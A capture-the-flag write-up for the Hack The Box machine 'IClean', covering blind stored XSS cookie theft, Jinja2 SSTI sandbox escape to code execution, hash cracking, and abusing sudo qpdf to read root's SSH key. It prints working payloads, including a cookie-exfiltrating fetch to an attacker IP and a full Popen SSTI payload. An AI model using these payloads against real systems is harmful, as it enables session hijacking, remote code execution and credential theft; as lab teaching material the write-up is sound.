Summary

IClean is a medium HTB Linux box.

It runs a Flask website for a cleaning company, and there’s a service quote request form that’s vulnerable to blind stored XSS. When the management team views this form, it triggers the XSS payload and we steal their session cookie.

With this session cookie, we gain access to the site’s dashboard, which has an invoice generator feature vulnerable to Server Side Template Injection (SSTI). We can exploit this to break out of the Jinja2 sandbox and execute arbitrary Python code, leading to Remote Code Execution (RCE) as the www-data user.

As www-data, we inspect the application source code and find it uses hardcoded MySQL credentials. We use these credentials to access the database and find a table with a SHA-256 password hash for the user consuela.

We crack this hash using Hashcat and rockyou.txt, and discover that consuela’s password is reused on the local Linux user with the same name. We can SSH into the system as her.

Consuela can run the qpdf binary as root, and we exploit its PDF attachment feature for Local File Read (LFR). This allows us to read the root’s SSH key at /root/.ssh/id_rsa, get us root access on the box.

Writeup

Information Gathering

We start by running an Nmap TCP scan on all ports, revealing an SSH service and an Apache webserver. We also discover that it’s a Linux machine, likely Ubuntu.

┌──(user㉿kali)-[~]
└─$ sudo nmap -sV -T4 -v <BOX_IP> -p- 
[sudo] password for user: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-30 10:16 WEST
<SNIP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>

Visiting the web server in our browser redirects us to capiclean.htb, which we add to our /etc/hosts file.

Running a whatweb scan shows this is a Python webserver, probably Flask. This is interesting, as the Nmap scan footprinted it as an Apache server.

┌──(user㉿kali)-[~]
└─$ whatweb -v http://capiclean.htb/   
WhatWeb report for http://capiclean.htb/
Status    : 200 OK
Title     : Capiclean
IP        : <BOX_IP>
Country   : RESERVED, ZZ

Summary   : Bootstrap, Email[[email protected]], HTML5, HTTPServer[Werkzeug/2.3.7 Python/3.10.12], JQuery[3.0.0], Python[3.10.12], Script, Werkzeug[2.3.7], X-UA-Compatible[IE=edge]

<SNIP>

Paying attention to the HTTP responses reveals that the server header is Apache before the capiclean.htb redirect and Werkzeug/Python afterward. This indicates there’s some reverse proxying happening.

This detail won’t interfere with the CTF, but paying attention to these nuances can help understand how things work behind the scenes.

┌──(user㉿kali)-[~]
└─$ curl -s -I http://<BOX-IP>   
HTTP/1.1 200 OK
Date: Tue, 30 Jul 2024 09:21:42 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Tue, 05 Sep 2023 16:40:51 GMT
ETag: "112-6049f4a35f3a4"
Accept-Ranges: bytes
Content-Length: 274
Vary: Accept-Encoding
Content-Type: text/html

┌──(user㉿kali)-[~]
└─$ curl -s -I http://capiclean.htb/
HTTP/1.1 200 OK
Date: Tue, 30 Jul 2024 09:21:31 GMT
Server: Werkzeug/2.3.7 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 16697

The site seems to be for a house cleaning company called Capiclean.

The site's landing page.

The site's landing page.

When fuzzing for web pages, we find some interesting ones like login, quote, and dashboard.

┌──(user㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt  -u http://capiclean.htb/FUZZ               

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://capiclean.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

login                   [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 61ms]
about                   [Status: 200, Size: 5267, Words: 1036, Lines: 130, Duration: 69ms]
services                [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 66ms]
quote                   [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 50ms]
team                    [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 2225ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 62ms]
dashboard               [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 55ms]
choose                  [Status: 200, Size: 6084, Words: 1373, Lines: 154, Duration: 139ms]
<SNIP>

The login page is standard, but there’s no sign-up page, so we can’t create an account. Common credentials such as admin:admin didn’t work.

The login page, lacking a registering feature.

The login page, lacking a registering feature.

The dashboard page returns a 302 status code, which means it’s found, but we get redirected to the index page. This likely means we need valid credentials or a session cookie to access it.

┌──(user㉿kali)-[~]
└─$ curl -i http://capiclean.htb/dashboard
HTTP/1.1 302 FOUND
Date: Wed, 31 Jul 2024 12:49:36 GMT
Server: Werkzeug/2.3.7 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

Lastly, the quotes page has a form for requesting a quote for various services. You just need to enter an email address and select the services you’re interested in.

Quote page, with a form.

Quote page, with a form.

Submitting the form redirects us to a page saying the quote was sent to a management team member.

Page claiming that the form will be reviewed by a staff member.

Page claiming that the form will be reviewed by a staff member.

Vulnerability #1 - Cross-Site Scripting

Vulnerability Assessment

Whenever I see that something I’ve entered on a web application will be reviewed by someone else, I immediately start thinking about the potential for cookie theft. If we can inject a payload that activates when someone reviews our input, we might be able to steal their session cookie and hijack their session on the website.

As pentesters, we need to put ourselves into the developer’s shoes to get an idea of how things might be handled behind the scenes.

The quote we submitted is likely stored in a database of some kind for later use. We know there exists a dashboard on this website, so it’s reasonable to assume it has a feature for reviewing quote requests. To display the quote request data on the page, it must be retrieved from the database and embedded into the HTML.

If the application doesn’t properly sanitize the input before embedding it into the HTML, we could exploit this by injecting a malicious JavaScript payload into the quote form. When the administrator views the page, our injected script could execute in their browser.

This type of attack is called Cross-Site Scripting (XSS). Since our malicious input is stored in a database and we don’t directly see the results, it’s classified as a stored blind XSS.

JavaScript can be injected into HTML in several ways, so I tried using a simple XSS payload to help identify which, if any, of these payloads work on the target:

<script src=http://MY_IP/test1></script>
'><script src=http://MY_IP/test2></script>
"><script src=http://MY_IP/test3></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://MY_IP/test4\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//MY_IP/test5");a.send();</script>
<script>$.getScript("http://MY_IP/test6")</script>

All of these payloads are designed to retrieve a resource from a server at my IP address. By setting up a server, if an administrator views my quote with the injected payload and the XSS works, I should see a hit on my HTTP server, confirming the attack was successful.

To test these payloads, I captured the request using Burp Suite and used the Intruder feature to send different form uploads for each payload.

Fuzzing using Burp Suite's Intruder.

Fuzzing using Burp Suite's Intruder.

After running through the list and waiting a few seconds, our HTTP server got hits for the test1, test2, and test3 files. This confirms that the first three payloads worked, and XSS is possible.

┌──(user㉿kali)-[~]
└─$ sudo php -S 0.0.0.0:80
[Tue Jul 30 10:30:52 2024] PHP 8.2.18 Development Server (http://0.0.0.0:80) started
[Tue Jul 30 10:32:04 2024] <BOX_IP>:36260 Accepted
[Tue Jul 30 10:32:04 2024] <BOX_IP>:36260 [404]: GET /test1 - No such file or directory
[Tue Jul 30 10:32:04 2024] <BOX_IP>:36260 Closing
[Tue Jul 30 10:32:07 2024] <BOX_IP>:36272 Accepted
[Tue Jul 30 10:32:07 2024] <BOX_IP>:36272 [404]: GET /test2 - No such file or directory
[Tue Jul 30 10:32:07 2024] <BOX_IP>:36272 Closing
[Tue Jul 30 10:32:10 2024] <BOX_IP>:36286 Accepted
[Tue Jul 30 10:32:10 2024] <BOX_IP>:36286 [404]: GET /test3 - No such file or directory
[Tue Jul 30 10:32:10 2024] <BOX_IP>:36286 Closing
[Tue Jul 30 10:32:24 2024] <BOX_IP>:51674 Accepted
<SNIP>

We got requests for the test1, test2 and test3 files, meaning the first three payloads worked. We have confirmed that XSS is possible.

Exploitation

Now that we’ve confirmed this feature is vulnerable to XSS, we need a payload that gives us useful results. XSS and cookie theft go hand in hand, so we can use JavaScript to access cookies stored in the browser that don’t have the HTTP-only flag, potentially letting us steal session cookies.

Since this is a blind XSS attack, we’ll use an Out-Of-Band (OOB) technique to get information from our JavaScript payload. Instead of requesting a meaningless resource like test1, we’ll have the script request a file named after the cookies stored in the browser. By checking the requests on our HTTP server, we can see the cookies and confirm that the attack worked.

I used the following payload, which I took from my notes. It’s an HTML image tag with a non-existent image that, when loaded, triggers an error-handling function. This function fetches a remote resource at http://<MY-IP>/<COOKIES>.

<img src="non-existing-image.png" onerror="fetch('http://<MY-IP>/?cookie='+document.cookie);" />
Sending URL encoded cookie stealing payload with Burp's Repeater.

Sending URL encoded cookie stealing payload with Burp's Repeater.

Just like before, we get a hit on the webserver. But this time, the HTTP request reveals a cookie named session!

┌──(user㉿kali)-[~]
└─$ sudo php -S 0.0.0.0:80
[Tue Jul 30 10:40:26 2024] PHP 8.2.18 Development Server (http://0.0.0.0:80) started
[Tue Jul 30 10:43:23 2024] <BOX-IP>:43584 Accepted
[Tue Jul 30 10:43:23 2024] <BOX-IP>:43584 [404]: GET /?cookie=session=eyJy<SNIP>Co7o - No such file or directory
[Tue Jul 30 10:43:23 2024] <BOX-IP>:43584 Closing

By adding the cookie to our browser using developer tools, we can now access the /dashboard page, which previously only redirected us.

Adding stolen cookie on Firefox using developer's tools.

Adding stolen cookie on Firefox using developer's tools.

Dashboard page.

Dashboard page.

Vulnerability #2 - Server Side Template Injection

Information Gathering

The dashboard has some interesting features.

First, there’s a quote requests feature that displays the result of the quote form directly on the page, confirming our previous assumptions for the XSS.

More importantly, there’s a feature for generating an invoice by submitting a form.

Invoice generation feature.

Invoice generation feature.

After we submit the form with junk data, an invoice is created, and its ID is shown.

Invoice ID after generation.

Invoice ID after generation.

You can use this ID with the option below it to generate a QR code. What the QR code redirects to isn’t important for the CTF.

QR generation page.

QR generation page.

Once the QR code is generated, we can add its URL to a new field that appears to create a scannable invoice.

Generating a QR code from the invoice by providing the ID.

Generating a QR code from the invoice by providing the ID.

This scannable invoice is an HTML page containing the invoice details, such as service and price, along with the QR code image we provided.

Generating a scannable invoice by supplying the QR link.

Generating a scannable invoice by supplying the QR link.

Vulnerability Assessment

Looking at the HTTP request for generating the scannable invoice, we see that we supply the QR code image URL via the qr_link parameter, which gets embedded into the HTML.

QR generation page.

QR generation page.

This means we can inject our input into the HTML, so XSS is a possibility again. However, it doesn’t seem like there’s a way to have someone else open this page and trigger a payload. Even if it were possible, it’s hard to think of a useful payload now that we already have a valid session cookie.

After XSS, the next attack vector I consider when I can embed my inputs into an HTML page is Server-Side Template Injection (SSTI).

Some web applications use template engines to dynamically generate HTML, but if not properly secured, they can be allow attackers to inject malicious code to execute on the server. Since we know this is a Python web application, it’s possible it uses the Flask web framework, which relies on the Jinja2 template engine.

In Jinja2, you can use {{ }} to insert Python variables or expressions directly into the template, allowing dynamic content to be rendered based on the data passed from your Python code.

For example, the web server might use an HTML template that includes something like this to generate the scannable invoice, with the qr_link variable passed as an argument:

<!DOCTYPE html>
<html>
<body>
    <img src="{{ qr_link }}">
</body>
</html>

Normally, the template engine prevents injection attacks by automatically escaping user-provided data, ensuring that any code embedded within the data is treated as plain text rather than executable code. However, it can be misconfigured to allow unsanitized user inputs to be parsed as executable code.

To test if the invoice page uses a template and if it’s vulnerable to SSTI, we can use the payload {{7*7}}. Capture the request with Burp Suite and insert this payload into the qr_link field.

Sending a payload to test for Jinja2 SSTI.

Sending a payload to test for Jinja2 SSTI.

When we check the HTML response, we see that our payload is rendered as 49, not {{7*7}}. This indicates that the web server processed our payload as Python code embedded in the template and executed it!

It’s important to note that this code is not running on the client side. Instead, the web server is executing it for us.

Payload is being treated as code by the server.

Payload is being treated as code by the server.

Exploitation

At this point, we’ve achieved Remote Code Execution (RCE) on the webserver, but not Arbitrary Remote Code Execution.

Due to security reasons, embedded Python code in Jinja2 runs in a sandbox that restricts its access to system resources and limits its ability to execute harmful commands.

To fully exploit this SSTI vulnerability, our first step should be to escape the sandbox and gain access to the regular Python execution flow.

To that end, we’ll use the following steps:

  1. Obtain a Reference to a Python Object: Identify and gain access to any Python object available in the template context.
  2. Access the <class 'object'> Class: Use the reference to obtain the object class, which serves as the base for all Python classes.
  3. Enumerate Subclasses of the object Class: Retrieve and list all subclasses of the object class, which includes all available classes, incluiding those not directly accessible from the sandbox.
  4. Find a Class Capable of Arbitrary Command Execution: Locate a class that can execute arbitrary commands or perform operations not restricted by the sandbox.
  5. Instantiate the Target Class and Exploit It: Create an instance of the identified class and invoke its methods to execute arbitrary commands on the server.

Check out this HackTricks article for more details on this process. If you experiment with the different payloads listed for each step, you’ll eventually get there.

1. Obtain a Reference to a Python Object

This first step is easy. There are some objects, like dict and [], that are always accessible in the sandboxed environment.

.

.

2. Access the <class 'object'> Class

Next, finding the base class of an object is also straightforward. There are several ways to do this, but dict.mro()[-1] is the one that will give us the best results on this particular case.

It may look confusing, put mro()[-1], returns the last class in the method resolution order, which is object.

.

.

3. Enumerate Subclasses of the object Class

This step is a bit trickier. Although there are multiple methods for listing subclasses, not all of them work reliably. For example, using __subclasses__() results in a 500 internal server error.

After some trial and error, I found that the payload (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() worked, allowing us to get a list of all classes in the environment, including those that are supposed to be blocked by the sandbox.

The payload is tricky to understand due to the use of escape sequences. \x5f is the hexadecimal representation of the underscore character (_). Thus, \x5f\x5fsubclasses\x5f\x5f translates to __subclasses__.

.

.

4. Find a Class Capable of Arbitrary Command Execution

So far, our payload returns an array of all the classes. We just need to find the index of a class with RCE capabilities, like subprocess.Popen, which lets us run OS commands. Since the number of classes can vary by environment, we have to determine the index each time.

I usually figure out the index by copying the classes array from the HTML and saving it to a local file. Then I use this awk command to put each class on its own line:

┌──(user㉿kali)-[~/…/HTB/IClean/External/Loot]
└─$ sed -i 's/,/,\
/g' classes.lst

Next, I use grep to find the Popen class and check which line it’s on. For instance, if it’s on line 366, that means its index is 365 because arrays start at zero.

┌──(user㉿kali)-[~/…/HTB/IClean/External/Loot]
└─$ grep -n 'subprocess.Popen' classes.lst 
366: &lt;class &#39;subprocess.Popen&#39;&gt;,

Now that we have the index, we can directly access it and use its functionalities, effectively bypassing the sandbox.

.

.

5. Instantiate the Target Class and Exploit It

All that’s left to do is use the reference to the Popen class to create an object. By passing our OS command as a string in the constructor and sending it to stdin with the communicate method, we can execute it on the host.

In conclusion, the payload {{(dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()[365]('<COMMAND>',shell=True,stdout=-1).communicate()}} will let us run arbitrary system commands on the host.

Executing `whoami` on the host.

Executing `whoami` on the host.

By running a reverse shell payload from the Reverse Shell Generator, we get a shell session as www-root.

┌──(user㉿kali)-[~]
└─$ sudo logshell rlwrap nc -lnvp 4444            
[sudo] password for user: 
listening on [any] 4444 ...
connect to [<MY-IP>] from (UNKNOWN) [<BOX-IP>] 47074
www-data@iclean:/opt/app$ 

Edit: I neglected to explain that some SSTI payloads fail because a Web Application Firewall (WAF) blocks them using rule-based detection. For more details, check out IppSec’s explanation at 18:34:

Privilege Escalation

As www-data is a low-privilege user, we need to exploit misconfigurations and vulnerabilities to escalate our privileges.

User

In www-data’s home directory, we find the source code for the Flask application we interacted with earlier.

In the app.py file, we find a couple of important things:

from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': '<PASSWORD>',
    'database': 'capiclean'
}

<SNIP>

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html', error=False)
    elif request.method == 'POST':
        username = request.form['username']
        password = hashlib.sha256(request.form['password'].encode()).hexdigest()

        with pymysql.connect(**db_config) as conn:
            with conn.cursor() as cursor:
                cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
                result = cursor.fetchone()

                if result is None:
                    return render_template('login.html',error='Invalid username or password')
                else:
                    session['role'] = result[0]
                    if session['role'] == hashlib.md5(b'admin').hexdigest():
                        return redirect(url_for('dashboard'))
                    else:
                        return redirect(url_for('/'))
    else:
        return make_response('Invalid request format.', 400)


if __name__ == '__main__':
    app.run(port=3000)

First, the application uses a MySQL database to store data, among them the login credentials for the dashboard.

Second, the database credentials are hardcoded into the source code, so now that we know them we can interact with the database and look for valuable information.

Finally, we see in the login method that user passwords are stored as SHA-256 hashes. We can tell because the supplied cleartext password for login is SHA-256 hashed and compared to the password field from the database.

Password hashes are always valuable targets, so let’s enumerate the database and look for them.

www-data@iclean:/opt/app$ mysql -mysql -u iclean -p
Enter password: <PASSWORD>

Welcome to the MySQL monitor.  Commands end with ; or \g.

<SNIP>

mysql> use capiclean;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)


mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae3                        <SNIP>                          6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a29                        <SNIP>                          27aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

There are credentials for only two users in the database, admin and consuela. While normally we’d go for the admin hash first, our internal reconnaissance picked up that consuela is also the name of a local user, making password reuse likely.

www-data@iclean:/opt/app$ ls -l ls -l /home
total 4
drwxr-x--- 4 consuela consuela 4096 Jul 30 12:13 consuela

Since the hashes are SHA-256, let’s crack consuela’s hash using Hashcat with rockyou.txt and the SHA-256 mode, 1400.

┌──(user㉿kali)-[~/…/HTB/IClean/Internal/Loot]
└─$ sudo hashcat -m 1400 consuela.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

<SNIP>

0a29<SNIP>27aa:<PASSWORD>
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: <REDACTED>
Time.Started.....: Tue Jul 30 15:10:59 2024 (0 secs)
Time.Estimated...: Tue Jul 30 15:10:59 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  6357.3 kH/s (0.26ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3753984/14344385 (26.17%)
Rejected.........: 0/3753984 (0.00%)
Restore.Point....: 3747840/14344385 (26.13%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: sinai14883635 -> simbapoes

Started: Tue Jul 30 15:10:48 2024
Stopped: Tue Jul 30 15:11:00 2024

We’ve recovered the cleartext password for the consuela web application user, so let’s see if this password is reused on the host.

We could use su to change our user from our reverse shell, but since there’s an SSH service, I’ll use it to authenticate as consuela instead of using our current shell.

┌──(user㉿kali)-[~]
└─$ ssh consuela@<BOX-IP>
consuela@<BOX-IP>'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<SNIP>
consuela@iclean:~$ ls
user.txt

It is! We now have a shell as the consuela user.

Root

After enumerating consuela’s privileges on the host, we discover that she can run the qpdf binary as root.

consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

The first thing I do when I see a binary with sudo rights is to check GTFOBins, a site that lists binaries that can be exploited for privilege escalation. However, qpdf isn’t listed there. So, we need to research how to use it to escalate our privileges.

Looking at the manual with man qpdf, we find that it’s a PDF conversion utility.

QPDF(1)                                                                                                     User Commands                                                                                                     QPDF(1)

NAME
       qpdf - PDF transformation software

SYNOPSIS
       qpdf [ options ] infilename [ outfilename ]

DESCRIPTION
       The qpdf program is used to convert one PDF file to another equivalent PDF file.  It is capable of performing a variety of transformations such as linearization (also known as web optimization or fast web viewing), encryp‐
       tion, and decryption of PDF files.  It also has many options for inspecting or checking PDF files, some of which are useful primarily to PDF developers.

       For a summary of qpdf's options, please run qpdf --help. A complete manual can be found at https://qpdf.readthedocs.io.

qpdf version 10.6.3

Googling for “qpdf 10.6.3 privilege escalation” doesn’t turn up any useful results. Instead, we check the documentation to see if there’s a functionality we can exploit.

As a file conversion tool, I consider ways it might be used to read local files, either by copying a file or causing an error that reveals its content.

Searching the documentation for “file”, we find a section on embedded files. This seems useful.

After some trial and error, we figure out that qpdf can create an empty QDF file (a format used by qpdf) and embed any file into it by making it an attachment. By reading the QDF file, we can access the content of the attached file. Essentially, we can achieve Local File Read (LFR) as root, allowing us to read any file on the system.

One straightforward way to use LFR is to read root’s private SSH key, typically located at /root/.ssh/id_rsa. If that key isn’t available, we might need to look for other files like /etc/shadow and attempt to crack the hashes.

consuela@iclean:~$ sudo /usr/bin/qpdf --add-attachment /root/.ssh/id_rsa -- --empty /tmp/id_rsa --qdf

This command was a pain to come up with, so I’ll break it down:

  • --add-attachment /root/.ssh/id_rsa: Adds the root’s private SSH key as an attachment to the PDF.
  • --: This signals the end of options for qpdf. Anything after – is treated as a positional argument rather than an option.
  • --empty: Creates an empty PDF.
  • --qdf: Creates a QDF version of the PDF, which is editable and contains the attached file’s content inside. Without this flag, the attached file is unreadable.
  • /tmp/id_rsa: The output file where the QDF with the attachment will be saved.

We generate the file, and indeed, it’s a PDF document. By examining it, we can see the contents of id_rsa along with some PDF gibberish.

consuela@iclean:~$ file /tmp/id_rsa 
/tmp/id_rsa: PDF document, version 1.3, 0 pages

consuela@iclean:~$ cat /tmp/id_rsa 
%PDF-1.3
%����
%QDF-1.0

<SNIP>

<<
  /Params <<
    /CheckSum <bb34da3f74ca5fb11f4ccbc393e113bc>
    /CreationDate (D:20240802165613Z)
    /ModDate (D:20240802165613Z)
    /Size 505
  >>
  /Type /EmbeddedFile
  /Length 6 0 R
>>
stream
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
<SNIP>
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
endstream
endobj

6 0 obj
505
endobj

xref
0 7
0000000000 65535 f 
0000000052 00000 n 
0000000203 00000 n 
0000000290 00000 n 
0000000379 00000 n 
0000000516 00000 n 
0000001250 00000 n 
trailer <<
  /Root 1 0 R
  /Size 7
  /ID [<8acd67932e135f3882491dc17124ffd8><8acd67932e135f3882491dc17124ffd8>]
>>
startxref
1270
%%EOF

The file’s permissions show that it was created by root but is readable by us, which is expected since the command was run with sudo.

consuela@iclean:~$ ls -la /tmp/id_rsa 
-rw-r--r-- 1 root root 1555 Aug  2 16:56 /tmp/id_rsa

Now, we just need to copy-paste the key to a file in our machine and use it to SSH as root.

──(user㉿kali)-[~/…/HTB/IClean/Internal/Loot]
└─$ chmod 600 id_rsa

┌──(user㉿kali)-[~/…/HTB/IClean/Internal/Loot]
└─$ ssh -i id_rsa root@<BOX-IP>
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

<SNIP>

root@iclean:~# ls /root/root.txt 
/root/root.txt

We have rooted the machine, we are done!